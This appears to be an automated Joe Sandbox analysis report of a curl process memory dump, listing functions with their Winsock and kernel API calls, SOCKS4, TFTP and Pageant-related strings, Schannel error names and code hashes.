String ID: %s (0x%04X%04X)$%s - %s$No error$SEC_E_ALGORITHM_MISMATCH$SEC_E_BAD_BINDINGS$SEC_E_BAD_PKGID$SEC_E_BUFFER_TOO_SMALL$SEC_E_CANNOT_INSTALL$SEC_E_CANNOT_PACK$SEC_E_CERT_EXPIRED$SEC_E_CERT_UNKNOWN$SEC_E_CERT_WRONG_USAGE$SEC_E_CONTEXT_EXPIRED$SEC_E_CROSSREALM_DELEGATION_FAILURE$SEC_E_CRYPTO_SYSTEM_INVALID$SEC_E_DECRYPT_FAILURE$SEC_E_DELEGATION_POLICY$SEC_E_DELEGATION_REQUIRED$SEC_E_DOWNGRADE_DETECTED$SEC_E_ENCRYPT_FAILURE$SEC_E_ILLEGAL_MESSAGE$SEC_E_INCOMPLETE_CREDENTIALS$SEC_E_INCOMPLETE_MESSAGE$SEC_E_INSUFFICIENT_MEMORY$SEC_E_INTERNAL_ERROR$SEC_E_INVALID_HANDLE$SEC_E_INVALID_PARAMETER$SEC_E_INVALID_TOKEN$SEC_E_ISSUING_CA_UNTRUSTED$SEC_E_ISSUING_CA_UNTRUSTED_KDC$SEC_E_KDC_CERT_EXPIRED$SEC_E_KDC_CERT_REVOKED$SEC_E_KDC_INVALID_REQUEST$SEC_E_KDC_UNABLE_TO_REFER$SEC_E_KDC_UNKNOWN_ETYPE$SEC_E_LOGON_DENIED$SEC_E_MAX_REFERRALS_EXCEEDED$SEC_E_MESSAGE_ALTERED$SEC_E_MULTIPLE_ACCOUNTS$SEC_E_MUST_BE_KDC$SEC_E_NOT_OWNER$SEC_E_NO_AUTHENTICATING_AUTHORITY$SEC_E_NO_CREDENTIALS$SEC_E_NO_IMPERSONATION$SEC_E_NO_IP_ADDRESSES$SEC_E_NO_KERB_KEY$SEC_E_NO_PA_DATA$SEC_E_NO_S4U_PROT_SUPPORT$SEC_E_NO_TGT_REPLY$SEC_E_OUT_OF_SEQUENCE$SEC_E_PKINIT_CLIENT_FAILURE$SEC_E_PKINIT_NAME_MISMATCH$SEC_E_POLICY_NLTM_ONLY$SEC_E_QOP_NOT_SUPPORTED$SEC_E_REVOCATION_OFFLINE_C$SEC_E_REVOCATION_OFFLINE_KDC$SEC_E_SECPKG_NOT_FOUND$SEC_E_SECURITY_QOS_FAILED$SEC_E_SHUTDOWN_IN_PROGRESS$SEC_E_SMARTCARD_CERT_EXPIRED$SEC_E_SMARTCARD_CERT_REVOKED$SEC_E_SMARTCARD_LOGON_REQUIRED$SEC_E_STRONG_CRYPTO_NOT_SUPPORTED$SEC_E_TARGET_UNKNOWN$SEC_E_TIME_SKEW$SEC_E_TOO_MANY_PRINCIPALS$SEC_E_UNFINISHED_CONTEXT_DELETED$SEC_E_UNKNOWN_CREDENTIALS$SEC_E_UNSUPPORTED_FUNCTION$SEC_E_UNSUPPORTED_PREAUTH$SEC_E_UNTRUSTED_ROOT$SEC_E_WRONG_CREDENTIAL_HANDLE$SEC_E_WRONG_PRINCIPAL$SEC_I_COMPLETE_AND_CONTINUE$SEC_I_COMPLETE_NEEDED$SEC_I_CONTEXT_EXPIRED$SEC_I_CONTINUE_NEEDED$SEC_I_INCOMPLETE_CREDENTIALS$SEC_I_LOCAL_LOGON$SEC_I_NO_LSA_CONTEXT$SEC_I_RENEGOTIATE$SEC_I_SIGNATURE_NEEDED$Unknown error
API String ID: 71157656-764561750
Opcode ID: 71fef97b285bdd08be799431827326709c62de5f6995f4291f023958000ec18b
Instruction ID: f8b1688507caf0f236db8ae6f6d57c8edc5ed69d72f5ccb1fbc126acd289edcd
Opcode Fuzzy Hash: 71fef97b285bdd08be799431827326709c62de5f6995f4291f023958000ec18b
Instruction Fuzzy Hash: 7F91E22E20C28187D33E85195861EB77286EBB9300F26453FE6736A3E9DF7548A57313

Function 001F0590 Relevance: 31.9, APIs: 3, Strings: 15, Instructions: 431COMMON

Download Yara Rule

APIs

GetTickCount64.KERNEL32 ref: 001F0616
ioctlsocket.WS2_32(8004667E,8004667E,?), ref: 001F0689

Part of subcall function 001DF270: WaitForSingleObjectEx.KERNEL32(?,000000FF,00000000,?,?,?,?,?,001DD2A7), ref: 001DF288
Part of subcall function 001DF270: CloseHandle.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,?), ref: 001DF296

Part of subcall function 001F0430: GetTickCount64.KERNEL32 ref: 001F0491
Part of subcall function 001F0430: recv.WS2_32(?,?,?,00000000), ref: 001F0513
Part of subcall function 001F0430: WSAGetLastError.WS2_32(?,000003E8,00000000,?,?,?,?,?,?,?,?,?,?,00000000,?,?), ref: 001F051E

Strings

%hu.%hu.%hu.%hu, xrefs: 001F076F
Can't complete SOCKS4 connection to %d.%d.%d.%d:%d. (%d), request rejected or failed., xrefs: 001F09FC
SOCKS4 reply has wrong version, version should be 4., xrefs: 001F0965
Can't complete SOCKS4 connection to %d.%d.%d.%d:%d. (%d), request rejected because the client program and identd report different user-ids., xrefs: 001F0A7E
SOCKS4 communication to %s:%d, xrefs: 001F069B
Failed to receive SOCKS4 connect request ack., xrefs: 001F0AD1
Failed to send SOCKS4 connect request., xrefs: 001F091B
Connection time-out, xrefs: 001F0AF5
SOCKS4 connect to %s (locally resolved), xrefs: 001F07B2
Can't complete SOCKS4 connection to %d.%d.%d.%d:%d. (%d), Unknown., xrefs: 001F0ABC
Failed to resolve "%s" for SOCKS4 connect., xrefs: 001F07D0
Can't complete SOCKS4 connection to %d.%d.%d.%d:%d. (%d), request rejected because SOCKS server cannot connect to identd on the client., xrefs: 001F0A3D
Failed to send SOCKS4 connect request., xrefs: 001F0AE3
SOCKS4%s request granted., xrefs: 001F09A5
Too long SOCKS proxy name, can't use!, xrefs: 001F0811

Memory Dump Source

Source File: 00000022.00000002.20309070776.00000000001C1000.00000020.00000001.01000000.00000006.sdmp, Offset: 001C0000, based on PE: true

Associated: 00000022.00000002.20309033901.00000000001C0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309297034.00000000002DD000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309353805.0000000000309000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309384926.000000000030B000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309419651.0000000000310000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309448745.0000000000311000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309483305.000000000031B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309519624.000000000031C000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309551058.000000000031D000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309581446.000000000031F000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309612880.0000000000321000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309645029.0000000000322000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309679043.0000000000323000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309716539.0000000000324000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309793088.0000000000367000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309827793.000000000036C000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_34_2_1c0000_curl.jbxd

Similarity

API ID: Count64Tick$CloseErrorHandleLastObjectSingleWaitioctlsocketrecv
String ID: %hu.%hu.%hu.%hu$Can't complete SOCKS4 connection to %d.%d.%d.%d:%d. (%d), Unknown.$Can't complete SOCKS4 connection to %d.%d.%d.%d:%d. (%d), request rejected because SOCKS server cannot connect to identd on the client.$Can't complete SOCKS4 connection to %d.%d.%d.%d:%d. (%d), request rejected because the client program and identd report different user-ids.$Can't complete SOCKS4 connection to %d.%d.%d.%d:%d. (%d), request rejected or failed.$Connection time-out$Failed to receive SOCKS4 connect request ack.$Failed to resolve "%s" for SOCKS4 connect.$Failed to send SOCKS4 connect request.$Failed to send SOCKS4 connect request.$SOCKS4 communication to %s:%d$SOCKS4 connect to %s (locally resolved)$SOCKS4 reply has wrong version, version should be 4.$SOCKS4%s request granted.$Too long SOCKS proxy name, can't use!
API String ID: 1703271474-1625008050
Opcode ID: b615585de12cedd713bc0c112ee44124ce1c134cf8b0c64b3a125947debf9f64
Instruction ID: 43f49d629e652d8f4f28abb062f5a5331ecb64361dfb209c9b77715e9fbf3418
Opcode Fuzzy Hash: b615585de12cedd713bc0c112ee44124ce1c134cf8b0c64b3a125947debf9f64
Instruction Fuzzy Hash: AFE1187150C3846BC75ADB24C851ABFBBE89B9D304F04095EF6C697283D729DA44CBA2

Function 002C515B Relevance: 26.7, APIs: 5, Strings: 10, Instructions: 488COMMON

Download Yara Rule

APIs

GetModuleHandleExW.KERNEL32(00000006,00000001,?,?,?,?,?,?,?,?,?,?), ref: 002C5220
GetModuleFileNameW.KERNEL32(?,?,00000104,?,?,?,?,?,?,?,?,?), ref: 002C524C
GetStdHandle.KERNEL32(000000F4,?,?,?), ref: 002C5703
GetFileType.KERNEL32(00000000), ref: 002C573E
WriteConsoleW.KERNEL32(00000000,?,00000000,?,00000000), ref: 002C5767

Strings

Expression: , xrefs: 002C54B3
File: , xrefs: 002C531E
Assertion failed: %s, file %s, line %d, xrefs: 002C5726, 002C579E
Assertion failed!, xrefs: 002C51A8
Program: , xrefs: 002C51F3
Microsoft Visual C++ Runtime Library, xrefs: 002C55CD
(Press Retry to debug the application - JIT must be enabled), xrefs: 002C55A5
<program name unknown>, xrefs: 002C5256
For information on how your program can cause an assertionfailure, see the Visual C++ documentation on asserts, xrefs: 002C556A
Line: , xrefs: 002C543C

Memory Dump Source

Source File: 00000022.00000002.20309070776.00000000001C1000.00000020.00000001.01000000.00000006.sdmp, Offset: 001C0000, based on PE: true

Associated: 00000022.00000002.20309033901.00000000001C0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309297034.00000000002DD000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309353805.0000000000309000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309384926.000000000030B000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309419651.0000000000310000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309448745.0000000000311000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309483305.000000000031B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309519624.000000000031C000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309551058.000000000031D000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309581446.000000000031F000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309612880.0000000000321000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309645029.0000000000322000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309679043.0000000000323000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309716539.0000000000324000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309793088.0000000000367000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309827793.000000000036C000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_34_2_1c0000_curl.jbxd

Similarity

API ID: FileHandleModule$ConsoleNameTypeWrite
String ID: (Press Retry to debug the application - JIT must be enabled)$<program name unknown>$Assertion failed!$Assertion failed: %s, file %s, line %d$Expression: $File: $For information on how your program can cause an assertionfailure, see the Visual C++ documentation on asserts$Line: $Microsoft Visual C++ Runtime Library$Program:
API String ID: 1567978977-2333777566
Opcode ID: d76709dc6b163479d8669cc9004c9a737c5380dea54128ab8eaa6b7f9790674e
Instruction ID: a09d7918cbfb7c0cc9d6e6e3776d3536a4be0db8a2406d23505da1ec252a6486
Opcode Fuzzy Hash: d76709dc6b163479d8669cc9004c9a737c5380dea54128ab8eaa6b7f9790674e
Instruction Fuzzy Hash: 2CF1EDB1D2071AA6EF109A708DC5F9E776C9B54708F10056AFA04D6192F630EEF88F50

Function 001C53F0 Relevance: 26.6, APIs: 1, Strings: 14, Instructions: 331COMMON

Download Yara Rule

APIs

GetTickCount64.KERNEL32 ref: 001C5436

Part of subcall function 002C144E: GetSystemTimeAsFileTime.KERNEL32(00000000,?,?,?,00000000,00000000,00000000,00000000,00000000,?,00000000,?,000003E8,00000000), ref: 002C1457

Strings

%s%s , xrefs: 001C56BB
=> Send data, xrefs: 001C57BB
<= Recv SSL data, xrefs: 001C57D0
<= Recv data, xrefs: 001C57C9
=> Send SSL data, xrefs: 001C57D7
<= Recv header, xrefs: 001C57C2
Failed to create/open output, xrefs: 001C554F
%02d:%02d:%02d.%06ld , xrefs: 001C54D4
%s%s , xrefs: 001C571E
%s%s , xrefs: 001C55F0
%s== Info: %s, xrefs: 001C5792
[%zd bytes data], xrefs: 001C5730
%s%s , xrefs: 001C5647
=> Send header, xrefs: 001C57B4

Memory Dump Source

Source File: 00000022.00000002.20309070776.00000000001C1000.00000020.00000001.01000000.00000006.sdmp, Offset: 001C0000, based on PE: true

Associated: 00000022.00000002.20309033901.00000000001C0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309297034.00000000002DD000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309353805.0000000000309000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309384926.000000000030B000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309419651.0000000000310000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309448745.0000000000311000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309483305.000000000031B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309519624.000000000031C000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309551058.000000000031D000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309581446.000000000031F000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309612880.0000000000321000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309645029.0000000000322000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309679043.0000000000323000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309716539.0000000000324000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309793088.0000000000367000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309827793.000000000036C000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_34_2_1c0000_curl.jbxd

Similarity

API ID: Time$Count64FileSystemTick
String ID: %02d:%02d:%02d.%06ld $%s%s $%s%s $%s%s $%s%s $%s== Info: %s$<= Recv SSL data$<= Recv data$<= Recv header$=> Send SSL data$=> Send data$=> Send header$Failed to create/open output$[%zd bytes data]
API String ID: 4062084619-2048222653
Opcode ID: 9c477c5216c4cb9b8020983a3720c157ad51755bcd668d03378765cbcd4de841
Instruction ID: 221a5e7155be3958ea383679e0e066b374fd9e1b61c15286388b5244c0488108
Opcode Fuzzy Hash: 9c477c5216c4cb9b8020983a3720c157ad51755bcd668d03378765cbcd4de841
Instruction Fuzzy Hash: EAB168716043409FCB01DF24DC82F6BBBEAEBA9304F80056DF94987252E771E995CB92

Function 00205CF0 Relevance: 26.5, APIs: 6, Strings: 9, Instructions: 223networkCOMMON

Download Yara Rule

APIs

send.WS2_32(?,?,00000002,00000000), ref: 00205E9B
WSAGetLastError.WS2_32 ref: 00205EA5
send.WS2_32(?,?,?,00000000), ref: 00205F20
WSAGetLastError.WS2_32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000001), ref: 00205F2E
send.WS2_32(?,?,?,00000000), ref: 00205F97
WSAGetLastError.WS2_32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000001), ref: 00205FA1

Strings

%c%c, xrefs: 00205E69
%127[^,],%127s, xrefs: 00205E13
%c%c%c%c%s%c%c, xrefs: 00205F70
Sending data failed (%d), xrefs: 00205F35
%c%s%c%s, xrefs: 00205E3A
%c%c%c%c%s%c%c, xrefs: 00205EF9
Sending data failed (%d), xrefs: 00205FA8
Sending data failed (%d), xrefs: 00205EAC
%c%c%c%c, xrefs: 00205DB6

Memory Dump Source

Source File: 00000022.00000002.20309070776.00000000001C1000.00000020.00000001.01000000.00000006.sdmp, Offset: 001C0000, based on PE: true

Associated: 00000022.00000002.20309033901.00000000001C0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309297034.00000000002DD000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309353805.0000000000309000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309384926.000000000030B000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309419651.0000000000310000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309448745.0000000000311000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309483305.000000000031B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309519624.000000000031C000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309551058.000000000031D000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309581446.000000000031F000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309612880.0000000000321000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309645029.0000000000322000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309679043.0000000000323000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309716539.0000000000324000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309793088.0000000000367000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309827793.000000000036C000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_34_2_1c0000_curl.jbxd

Similarity

API ID: ErrorLastsend
String ID: %127[^,],%127s$%c%c$%c%c%c%c$%c%c%c%c%s%c%c$%c%c%c%c%s%c%c$%c%s%c%s$Sending data failed (%d)$Sending data failed (%d)$Sending data failed (%d)
API String ID: 1802528911-2271365543
Opcode ID: 5862a547ae17a8b8d3125d27d29d09fb964181a86991ec902bbee03a9909bbad
Instruction ID: 1561d3ce471b5d56398791e00c01f52d13e873d5e57e91c29bf128f29dbfb499
Opcode Fuzzy Hash: 5862a547ae17a8b8d3125d27d29d09fb964181a86991ec902bbee03a9909bbad
Instruction Fuzzy Hash: C4711571644756ABE731DF24CC4AFE777ADAF48700F040429FA899B1C3DB71A9188BA1

Function 002B4290 Relevance: 26.4, APIs: 11, Strings: 4, Instructions: 194filethreadwindowCOMMON

Download Yara Rule

APIs

FindWindowA.USER32(Pageant,Pageant), ref: 002B42CB
GetCurrentThreadId.KERNEL32 ref: 002B4306
CreateFileMappingA.KERNEL32(000000FF,00000000,00000004,00000000,00002000,?), ref: 002B4331
MapViewOfFile.KERNEL32(00000000,00000002,00000000,00000000,00000000), ref: 002B4354
SendMessageA.USER32(?,0000004A,00000000,804E50BA), ref: 002B43C5
UnmapViewOfFile.KERNEL32(00000000), ref: 002B43E8
CloseHandle.KERNEL32(00000000), ref: 002B43EF

Strings

PageantRequest%08x, xrefs: 002B4311
Pageant, xrefs: 002B42C6
G6, xrefs: 002B44AC
Pageant, xrefs: 002B42C1

Memory Dump Source

Source File: 00000022.00000002.20309070776.00000000001C1000.00000020.00000001.01000000.00000006.sdmp, Offset: 001C0000, based on PE: true

Associated: 00000022.00000002.20309033901.00000000001C0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309297034.00000000002DD000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309353805.0000000000309000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309384926.000000000030B000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309419651.0000000000310000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309448745.0000000000311000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309483305.000000000031B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309519624.000000000031C000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309551058.000000000031D000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309581446.000000000031F000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309612880.0000000000321000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309645029.0000000000322000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309679043.0000000000323000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309716539.0000000000324000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309793088.0000000000367000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309827793.000000000036C000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_34_2_1c0000_curl.jbxd

Similarity

API ID: File$View$CloseCreateCurrentFindHandleMappingMessageSendThreadUnmapWindow
String ID: Pageant$Pageant$PageantRequest%08x$G6
API String ID: 440355138-1427937923
Opcode ID: 5d9798d13c3f3e619366dd6160ba9250c860a164f95798cde39421140cb7fc4a
Instruction ID: 868f77cc1160cc7783e956bbe616eda4f3ec3d0e48ce0343e77caa69a4917109
Opcode Fuzzy Hash: 5d9798d13c3f3e619366dd6160ba9250c860a164f95798cde39421140cb7fc4a
Instruction Fuzzy Hash: 9F61E6716006019FC710DF38EC89BAE77E8BF89320F44476AF55A8B2D2E7319915CB52

Function 0025BCC8 Relevance: 21.2, APIs: 11, Strings: 1, Instructions: 206COMMON

Download Yara Rule

APIs

GetTickCount.KERNEL32 ref: 0025BCFE
GetTickCount.KERNEL32 ref: 0025BD73
GetTickCount.KERNEL32 ref: 0025BDA2
GetTickCount.KERNEL32 ref: 0025BDF5
GetTickCount.KERNEL32 ref: 0025BE12
GetTickCount.KERNEL32 ref: 0025BE65
GetTickCount.KERNEL32 ref: 0025BE82
GetTickCount.KERNEL32 ref: 0025BED5

Strings

f#, xrefs: 0025BF51, 0025BFBD

Memory Dump Source

Source File: 00000022.00000002.20309070776.00000000001C1000.00000020.00000001.01000000.00000006.sdmp, Offset: 001C0000, based on PE: true

Associated: 00000022.00000002.20309033901.00000000001C0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309297034.00000000002DD000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309353805.0000000000309000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309384926.000000000030B000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309419651.0000000000310000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309448745.0000000000311000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309483305.000000000031B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309519624.000000000031C000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309551058.000000000031D000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309581446.000000000031F000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309612880.0000000000321000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309645029.0000000000322000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309679043.0000000000323000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309716539.0000000000324000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309793088.0000000000367000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309827793.000000000036C000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_34_2_1c0000_curl.jbxd

Similarity

API ID: CountTick
String ID: f#
API String ID: 536389180-1456218785
Opcode ID: d8b1bbdbe3c5d8d66331aaa677c57409f44a77d5ec1971e849f63f5944e95e92
Instruction ID: 7b8a3dabc1d6c0fb90bfb1cf1a22d0eadcbb46ffa1332ccd75e3cd22c4085600
Opcode Fuzzy Hash: d8b1bbdbe3c5d8d66331aaa677c57409f44a77d5ec1971e849f63f5944e95e92
Instruction Fuzzy Hash: 5D818C7092161A8FCF229F24CC85BAEB779BF41312F5442A9DD09A6150EB30DE98CF58

Function 001F7C00 Relevance: 19.5, APIs: 7, Strings: 4, Instructions: 222networkCOMMON

Download Yara Rule

APIs

sendto.WS2_32(?,?,?,00000000,?,?), ref: 001F7CA3
WSAGetLastError.WS2_32(?,?,001F7488,?,?,001F7880), ref: 001F7CAD
sendto.WS2_32(?,?,?,00000000,?,?), ref: 001F7D79
WSAGetLastError.WS2_32(?,?,001F7880), ref: 001F7D83
sendto.WS2_32(?,?,00000004,00000000,?,?), ref: 001F7EA7

Strings

Timeout waiting for block %d ACK. Retries = %d, xrefs: 001F7DDD
Received ACK for block %d, expecting %d, xrefs: 001F7C5C
tftp_tx: giving up waiting for block %d ack, xrefs: 001F7C7A
tftp_tx: internal error, event: %i, xrefs: 001F7EBA

Memory Dump Source

Source File: 00000022.00000002.20309070776.00000000001C1000.00000020.00000001.01000000.00000006.sdmp, Offset: 001C0000, based on PE: true

Associated: 00000022.00000002.20309033901.00000000001C0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309297034.00000000002DD000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309353805.0000000000309000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309384926.000000000030B000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309419651.0000000000310000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309448745.0000000000311000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309483305.000000000031B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309519624.000000000031C000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309551058.000000000031D000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309581446.000000000031F000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309612880.0000000000321000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309645029.0000000000322000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309679043.0000000000323000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309716539.0000000000324000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309793088.0000000000367000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000022.00000002.20309827793.000000000036C000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_34_2_1c0000_curl.jbxd

Similarity

API ID: sendto$ErrorLast
String ID: Received ACK for block %d, expecting %d$Timeout waiting for block %d ACK. Retries = %d$tftp_tx: giving up waiting for block %d ack$tftp_tx: internal error, event: %i
API String ID: 4042023021-4197595102
Opcode ID: a916f57ea8adf1e156fd20496eb7a8a7a6a2389ca7fc64e65efad72f14ad7b2e
Instruction ID: 62f57a604908bf3d4829c29b9bbaf5ae8cc3fdcd2b39e90dd70d14f76c8fa99b
Opcode Fuzzy Hash: a916f57ea8adf1e156fd20496eb7a8a7a6a2389ca7fc64e65efad72f14ad7b2e
Instruction Fuzzy Hash: 3281AB75204B019BD3229B68DC85AB7B7F5FB98301F04492AE9AAC6292D731E854DB20

Function 001F7920 Relevance: 19.5, APIs: 7, Strings: 4, Instructions: 220networkCOMMON

Download Yara Rule

APIs

sendto.WS2_32(?,?,00000004,00000000,?,?), ref: 001F79D0
WSAGetLastError.WS2_32(?,?,001F74C8,?,?,001F78A1), ref: 001F79DA
sendto.WS2_32(?,?,00000004,00000000,?,?), ref: 001F7A98
WSAGetLastError.WS2_32(?,?,001F78A1), ref: 001F7AA2
sendto.WS2_32(?,?,00000004,00000000,?,?), ref: 001F7BB0

Strings

Timeout waiting for block %d ACK. Retries = %d, xrefs: 001F7AF3
Received unexpected DATA packet block %d, expecting block %d, xrefs: 001F7A33
Received last DATA packet block %d again., xrefs: 001F7976
tftp_rx: internal error, xrefs: 001F7BC2

Memory Dump Source

Source File: 00000022.00000002.20309070776.00000000001C1000.00000020.00000001.01000000.00000006.sdmp, Offset: 001C0000, based on PE: true

